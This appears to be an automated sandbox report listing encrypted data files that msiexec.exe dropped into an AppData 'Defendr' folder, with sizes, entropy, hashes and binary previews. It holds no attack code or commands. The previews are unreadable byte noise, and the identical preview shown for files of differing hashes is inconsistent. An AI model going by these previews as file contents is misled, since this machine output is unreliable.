Preview:	.#D...e..,...!G...A..I....;.9...UK.......b.z.m.iG.}..a....k..@:g...f...."...s.@].3$..h....J......Qc.F...3.>r..P...(2..5....ERA.....G.eK.?..]...M....]......h...b..8i.ZJ.4..H..[.....ji.I.6"........P...j.~.-.......E.[....'..Y.)Q=..D..wX....v.2.JW.....0..p.d..cZ.........7.-\|0.......C....3..#1...R.........d+>{...x!OT..du.Y.r.H....^...W.....s.)......t...U.kJ...;.7k...th."....~O...[.C.. 2[...j^.....y.........4..0;..0.7..C.?.......W.n'.X.[.on.....o'.._..(.'....n.........#.g.wh('.R.!........tcCq...Z...9.7...!-gP.c.m8i.>N.O.p.P..#I".zH....5.@.F..(............._..t.2.C...b]-. ..,$NR.\|%4..Q.m.....U#F.P....e..)=..4...,..M.X.\.1.a...'.>.,h..r..i...4.)....\|.....=.....z.{6.....8.p:LZq}n.%.M.y...\|2.m~.E..j9..e..8.....14.....1.z.$.....gs..."..>.j.....n........4.&\..Y....5MQ..].:t.`=D=%qh..xZ4_._sKz.N....o.0..g..r.z.y.G.......L..A.....J..a..!G...\|nC....),...M..a.....L......Y.....@\.Gu.~>...@ ...\|R.9..Z&V.4....LYo/.I...]..h..I;...1...l."y._<......hx...e.LP.Mbi..

C:\Users\user\AppData\Roaming\Defendr\iframe\rolloutfile.tv11.0.tv

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	103698
Entropy (8bit):	7.997954975179584
Encrypted:	true
SSDEEP:	3072:onCjBvz5FE815qPXpDm/1pJUEOYMKzxhqZRgSgfXU5:TjBvzrEY5qPXpD4TJLM6NU5
MD5:	D5607B6BF989EF431346619F0D81D09F
SHA1:	7C9606C08F7EE8176948A694BF36ED7BEF058571
SHA-256:	C8E14FDE2559E6F71CA0CF023D2CC51636E171B206CAEFC11DEF6045D98E66A1
SHA-512:	E92948490B261A222FD26237CC3A94E68EC561EE42B0ED2D54267EB0A17CB1A8B4BFB0DC2474E6945D6BB6E6A3062B55A875A445CCF265A225390C3537F6BDE1
Malicious:	false
Preview:	.#D...e..,...!G...A..I....;.9...UK.......b.z.m.iG.}..a....k..@:g...f...."...s.@].3$..h....J......Qc.F...3.>r..P...(2..5....ERA.....G.eK.?..]...M....]......h...b..8i.ZJ.4..H..[.....ji.I.6"........P...j.~.-.......E.[....'..Y.)Q=..D..wX....v.2.JW.....0..p.d..cZ.........7.-\|0.......C....3..#1...R.........d+>{...x!OT..du.Y.r.H....^...W.....s.)......t...U.kJ...;.7k...th."....~O...[.C.. 2[...j^.....y.........4..0;..0.7..C.?.......W.n'.X.[.on.....o'.._..(.'....n.........#.g.wh('.R.!........tcCq...Z...9.7...!-gP.c.m8i.>N.O.p.P..#I".zH....5.@.F..(............._..t.2.C...b]-. ..,$NR.\|%4..Q.m.....U#F.P....e..)=..4...,..M.X.\.1.a...'.>.,h..r..i...4.)....\|.....=.....z.{6.....8.p:LZq}n.%.M.y...\|2.m~.E..j9..e..8.....14.....1.z.$.....gs..."..>.j.....n........4.&\..Y....5MQ..].:t.`=D=%qh..xZ4_._sKz.N....o.0..g..r.z.y.G.......L..A.....J..a..!G...\|nC....),...M..a.....L......Y.....@\.Gu.~>...@ ...\|R.9..Z&V.4....LYo/.I...]..h..I;...1...l."y._<......hx...e.LP.Mbi..

C:\Users\user\AppData\Roaming\Defendr\iframe\rolloutfile.tv11.1.tv

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	36816
Entropy (8bit):	7.995057511765618
Encrypted:	true
SSDEEP:	768:BW6NKcj+tNNn72mIuTvBvWG4q8hQP7eW5QJsdU9Q9qRpK8vP1O9:BW6yfB7nFvaQTeaBUQqDK8u
MD5:	8912777F68DD57322A21A454A3038289
SHA1:	F7373B9BF2C1BE2542144873D904D3205514F13E
SHA-256:	26F01B5F8468B8E78D88232717D2785C9EAEC35F239820AFB0DDA382297A0830
SHA-512:	B5D0AC28F90B07F4C02CC1CE80351970767E77962C1E6065240D3224E9AA42F7DD8BC016029459E3837912BEDD40DF63A1A5513E17BC45DF1F9AACE133F2F7F2
Malicious:	false
Preview:	.#D...e..,...!G...A..I....;.9...UK.......b.z.m.iG.}..a....k..@:g...f...."...s.@].3$..h....J......Qc.F...3.>r..P...(2..5....ERA.....G.eK.?..]...M....]......h...b..8i.ZJ.4..H..[.....ji.I.6"........P...j.~.-.......E.[....'..Y.)Q=..D..wX....v.2.JW.....0..p.d..cZ.........7.-\|0.......C....3..#1...R.........d+>{...x!OT..du.Y.r.H....^...W.....s.)......t...U.kJ...;.7k...th."....~O...[.C.. 2[...j^.....y.........4..0;..0.7..C.?.......W.n'.X.[.on.....o'.._..(.'....n.........#.g.wh('.R.!........tcCq...Z...9.7...!-gP.c.m8i.>N.O.p.P..#I".zH....5.@.F..(............._..t.2.C...b]-. ..,$NR.\|%4..Q.m.....U#F.P....e..)=..4...,..M.X.\.1.a...'.>.,h..r..i...4.)....\|.....=.....z.{6.....8.p:LZq}n.%.M.y...\|2.m~.E..j9..e..8.....14.....1.z.$.....gs..."..>.j.....n........4.&\..Y....5MQ..].:t.`=D=%qh..xZ4_._sKz.N....o.0..g..r.z.y.G.......L..A.....J..a..!G...\|nC....),...M..a.....L......Y.....@\.Gu.~>...@ ...\|R.9..Z&V.4....LYo/.I...]..h..I;...1...l."y._<......hx...e.LP.Mbi..

C:\Users\user\AppData\Roaming\Defendr\iframe\rolloutfile.tv12.0.tv

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	89867
Entropy (8bit):	7.997920440624809
Encrypted:	true
SSDEEP:	1536:BW6/ECkXeC2oyI7arfNZ9kst46VHoxTlC3Vvz+/1ELZiK5Y1NvJMFF7JLwqyrnVQ:ocrkos7Wpt46VHoxTcVq/1ELZikUvJMr
MD5:	5056454E25D9DA771B1927ED97BFAF0D
SHA1:	1A7E91BE971E815071A58C54BA57B9FB613DFDDB
SHA-256:	EDCAF92F597D225DB49C4DF56300BF4962177B689409758571790DAF262575CA
SHA-512:	67A0322E0E9C1C6D06235C43C57BB85BCB20156B292989A963D598D4801B36AF9A255427D6A3891347BAB88614FD1E1556C44FD143D2D7131A713C025ED8E202
Malicious:	false
Preview:	.#D...e..,...!G...A..I....;.9...UK.......b.z.m.iG.}..a....k..@:g...f...."...s.@].3$..h....J......Qc.F...3.>r..P...(2..5....ERA.....G.eK.?..]...M....]......h...b..8i.ZJ.4..H..[.....ji.I.6"........P...j.~.-.......E.[....'..Y.)Q=..D..wX....v.2.JW.....0..p.d..cZ.........7.-\|0.......C....3..#1...R.........d+>{...x!OT..du.Y.r.H....^...W.....s.)......t...U.kJ...;.7k...th."....~O...[.C.. 2[...j^.....y.........4..0;..0.7..C.?.......W.n'.X.[.on.....o'.._..(.'....n.........#.g.wh('.R.!........tcCq...Z...9.7...!-gP.c.m8i.>N.O.p.P..#I".zH....5.@.F..(............._..t.2.C...b]-. ..,$NR.\|%4..Q.m.....U#F.P....e..)=..4...,..M.X.\.1.a...'.>.,h..r..i...4.)....\|.....=.....z.{6.....8.p:LZq}n.%.M.y...\|2.m~.E..j9..e..8.....14.....1.z.$.....gs..."..>.j.....n........4.&\..Y....5MQ..].:t.`=D=%qh..xZ4_._sKz.N....o.0..g..r.z.y.G.......L..A.....J..a..!G...\|nC....),...M..a.....L......Y.....@\.Gu.~>...@ ...\|R.9..Z&V.4....LYo/.I...]..h..I;...1...l."y._<......hx...e.LP.Mbi..

C:\Users\user\AppData\Roaming\Defendr\iframe\rolloutfile.tv12.1.tv

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	30981
Entropy (8bit):	7.994864854434588
Encrypted:	true
SSDEEP:	768:BW6NgZIbV8Eyzb56mJ/dc7F1Jc+rtiStdtL:BW6m+xVyn5lldSF1JpDtL
MD5:	56D17C7CB534DD8290971648EAEF4B84
SHA1:	AA757929675926B17D02078C69F0F3B4972C6E18
SHA-256:	7860C45AB4056B141C9031E95F2E93E852531D1AA03B4E5FD6164C6C4E812C64
SHA-512:	6340A31150A45DEA1E367319F18BD2FE6C6BEB7CB975638935B28D95514091BF6E48DB8B8E9060F96A621BC00EF5F57237BD0F13549EFA0024298CF069A02D0F
Malicious:	false
Preview:	.#D...e..,...!G...A..I....;.9...UK.......b.z.m.iG.}..a....k..@:g...f...."...s.@].3$..h....J......Qc.F...3.>r..P...(2..5....ERA.....G.eK.?..]...M....]......h...b..8i.ZJ.4..H..[.....ji.I.6"........P...j.~.-.......E.[....'..Y.)Q=..D..wX....v.2.JW.....0..p.d..cZ.........7.-\|0.......C....3..#1...R.........d+>{...x!OT..du.Y.r.H....^...W.....s.)......t...U.kJ...;.7k...th."....~O...[.C.. 2[...j^.....y.........4..0;..0.7..C.?.......W.n'.X.[.on.....o'.._..(.'....n.........#.g.wh('.R.!........tcCq...Z...9.7...!-gP.c.m8i.>N.O.p.P..#I".zH....5.@.F..(............._..t.2.C...b]-. ..,$NR.\|%4..Q.m.....U#F.P....e..)=..4...,..M.X.\.1.a...'.>.,h..r..i...4.)....\|.....=.....z.{6.....8.p:LZq}n.%.M.y...\|2.m~.E..j9..e..8.....14.....1.z.$.....gs..."..>.j.....n........4.&\..Y....5MQ..].:t.`=D=%qh..xZ4_._sKz.N....o.0..g..r.z.y.G.......L..A.....J..a..!G...\|nC....),...M..a.....L......Y.....@\.Gu.~>...@ ...\|R.9..Z&V.4....LYo/.I...]..h..I;...1...l."y._<......hx...e.LP.Mbi..

C:\Users\user\AppData\Roaming\Defendr\iframe\rolloutfile.tv13.0.tv

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	100846
Entropy (8bit):	7.998158896251984
Encrypted:	true
SSDEEP:	3072:odWE3d6L0GenMnlMkDVZI8+NOqKzazG5zsPfeT5yw:YVrhA1DVZIhkN1zseTx
MD5:	91EC970B7C15E11680F47A1413B72962
SHA1:	339B0A308CD1F5B4174F7F43999A4281C205503B
SHA-256:	6BF4C19E221830BD5BABCAC9F92089A656882E3793FC69879D804788960FD223
SHA-512:	4226E840940163B0525EEAA9D372C8247F9CBC2D84068E0EFB9A01D2D8B118D50C9351BF077F5C865BD3A9359F560792A3483933806583602CFA79731E118834
Malicious:	false
Preview:	.#D...e..,...!G...A..I....;.9...UK.......b.z.m.iG.}..a....k..@:g...f...."...s.@].3$..h....J......Qc.F...3.>r..P...(2..5....ERA.....G.eK.?..]...M....]......h...b..8i.ZJ.4..H..[.....ji.I.6"........P...j.~.-.......E.[....'..Y.)Q=..D..wX....v.2.JW.....0..p.d..cZ.........7.-\|0.......C....3..#1...R.........d+>{...x!OT..du.Y.r.H....^...W.....s.)......t...U.kJ...;.7k...th."....~O...[.C.. 2[...j^.....y.........4..0;..0.7..C.?.......W.n'.X.[.on.....o'.._..(.'....n.........#.g.wh('.R.!........tcCq...Z...9.7...!-gP.c.m8i.>N.O.p.P..#I".zH....5.@.F..(............._..t.2.C...b]-. ..,$NR.\|%4..Q.m.....U#F.P....e..)=..4...,..M.X.\.1.a...'.>.,h..r..i...4.)....\|.....=.....z.{6.....8.p:LZq}n.%.M.y...\|2.m~.E..j9..e..8.....14.....1.z.$.....gs..."..>.j.....n........4.&\..Y....5MQ..].:t.`=D=%qh..xZ4_._sKz.N....o.0..g..r.z.y.G.......L..A.....J..a..!G...\|nC....),...M..a.....L......Y.....@\.Gu.~>...@ ...\|R.9..Z&V.4....LYo/.I...]..h..I;...1...l."y._<......hx...e.LP.Mbi..

C:\Users\user\AppData\Roaming\Defendr\iframe\rolloutfile.tv13.1.tv

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	33480
Entropy (8bit):	7.995378671824126
Encrypted:	true
SSDEEP:	768:BW6N286l4XkLghjeSo6+pEVf4J1wAJ/G7mRlgW6WsvV0YYQ:BW6zhilLD11e7fWBsvVpYQ
MD5:	76865ECCE4C30C2536236ED171A0D76E
SHA1:	B5E5C62D55D317D1D7F77915C5738A8635C82C9C
SHA-256:	C7B799B3DEE229B709AD9DAE5E029FA5A7D7BE8BE0454F49527B632C07D9F625
SHA-512:	B585721BE72E8BE50CB13C2EB0F3A80AA85A17FC49C542E95BFBFCBC898F09E6BC370388FB583F1CC2D216A37834CC3F7C7BEBFACE45F68F037133ACE812A90D
Malicious:	false
Preview:	.#D...e..,...!G...A..I....;.9...UK.......b.z.m.iG.}..a....k..@:g...f...."...s.@].3$..h....J......Qc.F...3.>r..P...(2..5....ERA.....G.eK.?..]...M....]......h...b..8i.ZJ.4..H..[.....ji.I.6"........P...j.~.-.......E.[....'..Y.)Q=..D..wX....v.2.JW.....0..p.d..cZ.........7.-\|0.......C....3..#1...R.........d+>{...x!OT..du.Y.r.H....^...W.....s.)......t...U.kJ...;.7k...th."....~O...[.C.. 2[...j^.....y.........4..0;..0.7..C.?.......W.n'.X.[.on.....o'.._..(.'....n.........#.g.wh('.R.!........tcCq...Z...9.7...!-gP.c.m8i.>N.O.p.P..#I".zH....5.@.F..(............._..t.2.C...b]-. ..,$NR.\|%4..Q.m.....U#F.P....e..)=..4...,..M.X.\.1.a...'.>.,h..r..i...4.)....\|.....=.....z.{6.....8.p:LZq}n.%.M.y...\|2.m~.E..j9..e..8.....14.....1.z.$.....gs..."..>.j.....n........4.&\..Y....5MQ..].:t.`=D=%qh..xZ4_._sKz.N....o.0..g..r.z.y.G.......L..A.....J..a..!G...\|nC....),...M..a.....L......Y.....@\.Gu.~>...@ ...\|R.9..Z&V.4....LYo/.I...]..h..I;...1...l."y._<......hx...e.LP.Mbi..

C:\Users\user\AppData\Roaming\Defendr\iframe\rolloutfile.tv14.0.tv

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	101922
Entropy (8bit):	7.997980089704199
Encrypted:	true
SSDEEP:	3072:ozGLP4gGk7MqyFe+v5FSXq8vymH3AhLBvVu53s:c2Mqy00FSVbXAhK53s
MD5:	3D8772A6F26F6BAAD2715A514D7A419D
SHA1:	5062988072F8CC660EAD6BB5BC7767EBD68705E3
SHA-256:	8FA4E1AF5CBF40A9A52A718BD43EF4C089632E732B1EAC5299E73994E947B219
SHA-512:	C96969F7A0F509B39DF3378600A1F83AA1E72B62FD2CA7AB23880A10A60D1D05D368500E385E31EFDA7D6B21E4F038F0F55AB88AD8ABD4966568F0DA78711BCD
Malicious:	false
Preview:	.#D...e..,...!G...A..I....;.9...UK.......b.z.m.iG.}..a....k..@:g...f...."...s.@].3$..h....J......Qc.F...3.>r..P...(2..5....ERA.....G.eK.?..]...M....]......h...b..8i.ZJ.4..H..[.....ji.I.6"........P...j.~.-.......E.[....'..Y.)Q=..D..wX....v.2.JW.....0..p.d..cZ.........7.-\|0.......C....3..#1...R.........d+>{...x!OT..du.Y.r.H....^...W.....s.)......t...U.kJ...;.7k...th."....~O...[.C.. 2[...j^.....y.........4..0;..0.7..C.?.......W.n'.X.[.on.....o'.._..(.'....n.........#.g.wh('.R.!........tcCq...Z...9.7...!-gP.c.m8i.>N.O.p.P..#I".zH....5.@.F..(............._..t.2.C...b]-. ..,$NR.\|%4..Q.m.....U#F.P....e..)=..4...,..M.X.\.1.a...'.>.,h..r..i...4.)....\|.....=.....z.{6.....8.p:LZq}n.%.M.y...\|2.m~.E..j9..e..8.....14.....1.z.$.....gs..."..>.j.....n........4.&\..Y....5MQ..].:t.`=D=%qh..xZ4_._sKz.N....o.0..g..r.z.y.G.......L..A.....J..a..!G...\|nC....),...M..a.....L......Y.....@\.Gu.~>...@ ...\|R.9..Z&V.4....LYo/.I...]..h..I;...1...l."y._<......hx...e.LP.Mbi..

C:\Users\user\AppData\Roaming\Defendr\iframe\rolloutfile.tv14.1.tv

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	34450
Entropy (8bit):	7.993568193715657
Encrypted:	true
SSDEEP:	768:BW6NxQk/u3KCN5PkV12Ms5n9wclxmgWwiApAQAgnus5lUZgsqK:BW6sk/uNN5Pkf2fnnNi0FAgnusrmSK
MD5:	20354B294A886DE9EED65C05B8B4E0EA
SHA1:	FDB0C9C8E67DC389C3D33BFEAA45B11EADE89B37
SHA-256:	3B01077CB6F2B33E1FD4B44D6F8FCB2144840AB59E819665B331CBB753E1DD1D
SHA-512:	6AFC0716FD5CA327A20E1B91138D7840F741943552C72D4BED4F91D97E685F245D3085848C548A0875455C54646A95B085C49737A8820F71C4D2AF87519C760A
Malicious:	false
Preview:	.#D...e..,...!G...A..I....;.9...UK.......b.z.m.iG.}..a....k..@:g...f...."...s.@].3$..h....J......Qc.F...3.>r..P...(2..5....ERA.....G.eK.?..]...M....]......h...b..8i.ZJ.4..H..[.....ji.I.6"........P...j.~.-.......E.[....'..Y.)Q=..D..wX....v.2.JW.....0..p.d..cZ.........7.-\|0.......C....3..#1...R.........d+>{...x!OT..du.Y.r.H....^...W.....s.)......t...U.kJ...;.7k...th."....~O...[.C.. 2[...j^.....y.........4..0;..0.7..C.?.......W.n'.X.[.on.....o'.._..(.'....n.........#.g.wh('.R.!........tcCq...Z...9.7...!-gP.c.m8i.>N.O.p.P..#I".zH....5.@.F..(............._..t.2.C...b]-. ..,$NR.\|%4..Q.m.....U#F.P....e..)=..4...,..M.X.\.1.a...'.>.,h..r..i...4.)....\|.....=.....z.{6.....8.p:LZq}n.%.M.y...\|2.m~.E..j9..e..8.....14.....1.z.$.....gs..."..>.j.....n........4.&\..Y....5MQ..].:t.`=D=%qh..xZ4_._sKz.N....o.0..g..r.z.y.G.......L..A.....J..a..!G...\|nC....),...M..a.....L......Y.....@\.Gu.~>...@ ...\|R.9..Z&V.4....LYo/.I...]..h..I;...1...l."y._<......hx...e.LP.Mbi..

C:\Users\user\AppData\Roaming\Defendr\iframe\rolloutfile.tv15.0.tv

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	94880
Entropy (8bit):	7.998273684433496
Encrypted:	true
SSDEEP:	1536:BW6ki9VOORyBJuKi8oWqJB9DTEhIr9i854OjWihTenAmM6EUKUT+hH9FtqsaQD1:oq9VOTBJuKi8oWqJB9DTECQ9OjWihgwL
MD5:	D7901A0FB829DB040107D2C02943A4D6
SHA1:	18A852B5DA7A2B57A6154C83C80F62ED67570791
SHA-256:	E2F925AA3AF7174F26E96571038AB83FC1D1D8F4F5A2EB1C48C654EDA1E6A2D1
SHA-512:	BE831DCD06567A2F9A23988086BEB16880847879626ACE28208F0BF2EC99883C26C326F708D6BDDFB5BD97D476AE119135682B2FC9571B990376B74260CD0725
Malicious:	false
Preview:	.#D...e..,...!G...A..I....;.9...UK.......b.z.m.iG.}..a....k..@:g...f...."...s.@].3$..h....J......Qc.F...3.>r..P...(2..5....ERA.....G.eK.?..]...M....]......h...b..8i.ZJ.4..H..[.....ji.I.6"........P...j.~.-.......E.[....'..Y.)Q=..D..wX....v.2.JW.....0..p.d..cZ.........7.-\|0.......C....3..#1...R.........d+>{...x!OT..du.Y.r.H....^...W.....s.)......t...U.kJ...;.7k...th."....~O...[.C.. 2[...j^.....y.........4..0;..0.7..C.?.......W.n'.X.[.on.....o'.._..(.'....n.........#.g.wh('.R.!........tcCq...Z...9.7...!-gP.c.m8i.>N.O.p.P..#I".zH....5.@.F..(............._..t.2.C...b]-. ..,$NR.\|%4..Q.m.....U#F.P....e..)=..4...,..M.X.\.1.a...'.>.,h..r..i...4.)....\|.....=.....z.{6.....8.p:LZq}n.%.M.y...\|2.m~.E..j9..e..8.....14.....1.z.$.....gs..."..>.j.....n........4.&\..Y....5MQ..].:t.`=D=%qh..xZ4_._sKz.N....o.0..g..r.z.y.G.......L..A.....J..a..!G...\|nC....),...M..a.....L......Y.....@\.Gu.~>...@ ...\|R.9..Z&V.4....LYo/.I...]..h..I;...1...l."y._<......hx...e.LP.Mbi..

C:\Users\user\AppData\Roaming\Defendr\iframe\rolloutfile.tv15.1.tv

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	34480
Entropy (8bit):	7.9953759299235685
Encrypted:	true
SSDEEP:	768:BW6Naojf7WVL3er0d3esbt78wNXg6w1E0xLmPSpJW5aBG:BW6wojDM3er0dRuaQ9XbDG
MD5:	490064B278F31F395A1D93488FE7417C
SHA1:	85F0BAEABE880AEC6324E2D994BAA37235C8F260
SHA-256:	30DEFE60FF9390B8B828759FBF90B152A8F8BE7423258897E31712E27AA18463
SHA-512:	A0001C53159AD3A033D53FCC86A7DF622C4313938674DBE58951915D212058829C031EBE7AAAFE06EE998A4037FBADE880FAA9957EEE6F6AC4CED272D7162971
Malicious:	false
Preview:	.#D...e..,...!G...A..I....;.9...UK.......b.z.m.iG.}..a....k..@:g...f...."...s.@].3$..h....J......Qc.F...3.>r..P...(2..5....ERA.....G.eK.?..]...M....]......h...b..8i.ZJ.4..H..[.....ji.I.6"........P...j.~.-.......E.[....'..Y.)Q=..D..wX....v.2.JW.....0..p.d..cZ.........7.-\|0.......C....3..#1...R.........d+>{...x!OT..du.Y.r.H....^...W.....s.)......t...U.kJ...;.7k...th."....~O...[.C.. 2[...j^.....y.........4..0;..0.7..C.?.......W.n'.X.[.on.....o'.._..(.'....n.........#.g.wh('.R.!........tcCq...Z...9.7...!-gP.c.m8i.>N.O.p.P..#I".zH....5.@.F..(............._..t.2.C...b]-. ..,$NR.\|%4..Q.m.....U#F.P....e..)=..4...,..M.X.\.1.a...'.>.,h..r..i...4.)....\|.....=.....z.{6.....8.p:LZq}n.%.M.y...\|2.m~.E..j9..e..8.....14.....1.z.$.....gs..."..>.j.....n........4.&\..Y....5MQ..].:t.`=D=%qh..xZ4_._sKz.N....o.0..g..r.z.y.G.......L..A.....J..a..!G...\|nC....),...M..a.....L......Y.....@\.Gu.~>...@ ...\|R.9..Z&V.4....LYo/.I...]..h..I;...1...l."y._<......hx...e.LP.Mbi..

C:\Users\user\AppData\Roaming\Defendr\iframe\rolloutfile.tv16.0.tv

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	97471
Entropy (8bit):	7.997963841827689
Encrypted:	true
SSDEEP:	1536:BW6XaXXzu+S2cEfzIaUU4EHvAQq5xoJOzift1Y//H7PzqmsKW+pQEtrJookIbC:oLu+SPKES4EHvA15OEuf2Dns4pQEYok3
MD5:	7E93CE1B4A288A0764CAB1A866932F7D
SHA1:	1EEE7FCFA3EDACB29875BCA791855FE5327ECA0B
SHA-256:	F6D10BF1489717408DC6F215A3996AE1C666D50FEC1AB4D80D84C0BF0D8F28A6
SHA-512:	7BC1C0130184686025A6E367E56C74848778C27C166A815FE25D410D1C2B1F75616DB95E6596072242B0C3CF431938E4D339292DEA515D3214D6CC8C9A1A87A6
Malicious:	false
Preview:	.#D...e..,...!G...A..I....;.9...UK.......b.z.m.iG.}..a....k..@:g...f...."...s.@].3$..h....J......Qc.F...3.>r..P...(2..5....ERA.....G.eK.?..]...M....]......h...b..8i.ZJ.4..H..[.....ji.I.6"........P...j.~.-.......E.[....'..Y.)Q=..D..wX....v.2.JW.....0..p.d..cZ.........7.-\|0.......C....3..#1...R.........d+>{...x!OT..du.Y.r.H....^...W.....s.)......t...U.kJ...;.7k...th."....~O...[.C.. 2[...j^.....y.........4..0;..0.7..C.?.......W.n'.X.[.on.....o'.._..(.'....n.........#.g.wh('.R.!........tcCq...Z...9.7...!-gP.c.m8i.>N.O.p.P..#I".zH....5.@.F..(............._..t.2.C...b]-. ..,$NR.\|%4..Q.m.....U#F.P....e..)=..4...,..M.X.\.1.a...'.>.,h..r..i...4.)....\|.....=.....z.{6.....8.p:LZq}n.%.M.y...\|2.m~.E..j9..e..8.....14.....1.z.$.....gs..."..>.j.....n........4.&\..Y....5MQ..].:t.`=D=%qh..xZ4_._sKz.N....o.0..g..r.z.y.G.......L..A.....J..a..!G...\|nC....),...M..a.....L......Y.....@\.Gu.~>...@ ...\|R.9..Z&V.4....LYo/.I...]..h..I;...1...l."y._<......hx...e.LP.Mbi..

C:\Users\user\AppData\Roaming\Defendr\iframe\rolloutfile.tv16.1.tv

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	37147
Entropy (8bit):	7.994941099826608
Encrypted:	true
SSDEEP:	768:BW6NWTnwyRRds+R5aAqqp7E0m5CZkpmyWj8AQtOjY/Eob0xqucr0ULBnT:BW6unx/6+R59qqn9tj8AQoY/EdAhr0QT
MD5:	3E9FF1A1C7D11B406196267E0C1FE54B
SHA1:	539E9238F09C47E907E428B3F9C993A74E3A89F2
SHA-256:	B87FD006B7A4B7CA41B0C0C836636CDC46A1B87AB8BB0C17C0380FA42BC40E05
SHA-512:	D3071B70A00F40927EF048DE939E35BD22234F41CF6069196DF967326835EED9FFD77F5964008EE3906A439DEE7FEE9C0E6A1C6061D1332BC1C32A6B592AEA3E
Malicious:	false
Preview:	.#D...e..,...!G...A..I....;.9...UK.......b.z.m.iG.}..a....k..@:g...f...."...s.@].3$..h....J......Qc.F...3.>r..P...(2..5....ERA.....G.eK.?..]...M....]......h...b..8i.ZJ.4..H..[.....ji.I.6"........P...j.~.-.......E.[....'..Y.)Q=..D..wX....v.2.JW.....0..p.d..cZ.........7.-\|0.......C....3..#1...R.........d+>{...x!OT..du.Y.r.H....^...W.....s.)......t...U.kJ...;.7k...th."....~O...[.C.. 2[...j^.....y.........4..0;..0.7..C.?.......W.n'.X.[.on.....o'.._..(.'....n.........#.g.wh('.R.!........tcCq...Z...9.7...!-gP.c.m8i.>N.O.p.P..#I".zH....5.@.F..(............._..t.2.C...b]-. ..,$NR.\|%4..Q.m.....U#F.P....e..)=..4...,..M.X.\.1.a...'.>.,h..r..i...4.)....\|.....=.....z.{6.....8.p:LZq}n.%.M.y...\|2.m~.E..j9..e..8.....14.....1.z.$.....gs..."..>.j.....n........4.&\..Y....5MQ..].:t.`=D=%qh..xZ4_._sKz.N....o.0..g..r.z.y.G.......L..A.....J..a..!G...\|nC....),...M..a.....L......Y.....@\.Gu.~>...@ ...\|R.9..Z&V.4....LYo/.I...]..h..I;...1...l."y._<......hx...e.LP.Mbi..

C:\Users\user\AppData\Roaming\Defendr\iframe\rolloutfile.tv17.0.tv

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	108523
Entropy (8bit):	7.998242819406155
Encrypted:	true
SSDEEP:	3072:onFeB6AcOWd374OzOHlh6Hy00+GJTNo/y:4STDvMChJBOy
MD5:	B954EE1D0DDBD6917660F9C3BD90703A
SHA1:	D21DFBB906266FCB3569968A706DAEE6BC399176
SHA-256:	AA5EFEE8E48E66DDF491A2F253ABE81E304E36A8F9A2A45B54F0C7F415D70582
SHA-512:	70E00C351D8AC5215C4865C6ED196008D6267CF0CFA463524814B6761E807A6A07850749334594E13F98FD6D2A8706DA7EFCEE6421A49CA699234F9770D38856
Malicious:	false
Preview:	.#D...e..,...!G...A..I....;.9...UK.......b.z.m.iG.}..a....k..@:g...f...."...s.@].3$..h....J......Qc.F...3.>r..P...(2..5....ERA.....G.eK.?..]...M....]......h...b..8i.ZJ.4..H..[.....ji.I.6"........P...j.~.-.......E.[....'..Y.)Q=..D..wX....v.2.JW.....0..p.d..cZ.........7.-\|0.......C....3..#1...R.........d+>{...x!OT..du.Y.r.H....^...W.....s.)......t...U.kJ...;.7k...th."....~O...[.C.. 2[...j^.....y.........4..0;..0.7..C.?.......W.n'.X.[.on.....o'.._..(.'....n.........#.g.wh('.R.!........tcCq...Z...9.7...!-gP.c.m8i.>N.O.p.P..#I".zH....5.@.F..(............._..t.2.C...b]-. ..,$NR.\|%4..Q.m.....U#F.P....e..)=..4...,..M.X.\.1.a...'.>.,h..r..i...4.)....\|.....=.....z.{6.....8.p:LZq}n.%.M.y...\|2.m~.E..j9..e..8.....14.....1.z.$.....gs..."..>.j.....n........4.&\..Y....5MQ..].:t.`=D=%qh..xZ4_._sKz.N....o.0..g..r.z.y.G.......L..A.....J..a..!G...\|nC....),...M..a.....L......Y.....@\.Gu.~>...@ ...\|R.9..Z&V.4....LYo/.I...]..h..I;...1...l."y._<......hx...e.LP.Mbi..

C:\Users\user\AppData\Roaming\Defendr\iframe\rolloutfile.tv17.1.tv

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	41834
Entropy (8bit):	7.995867858033007
Encrypted:	true
SSDEEP:	768:BW6NwIdvCYp/JggXqA+ymRuElNDsCDD7KZblz1rs:BW6a+CKJgbru8XDD7KLzW
MD5:	199C9F4ACDC95653F0741CD7BBED72E7
SHA1:	872E1E241DA7FAB037DB2C8C855B02C25CF29C94
SHA-256:	E77435E9B11AE1A2A014EE878F069BDD9198ED746CBACA50AD334020125858EC
SHA-512:	4C458E9E6B8C10EBE868BF6FA8CF62EB8F8EB8BE664BC9F2DEB61E5AE371891BB6554407D6DE158796420F7EC67A24E05D244E181D64835922586511BA81C2F3
Malicious:	false
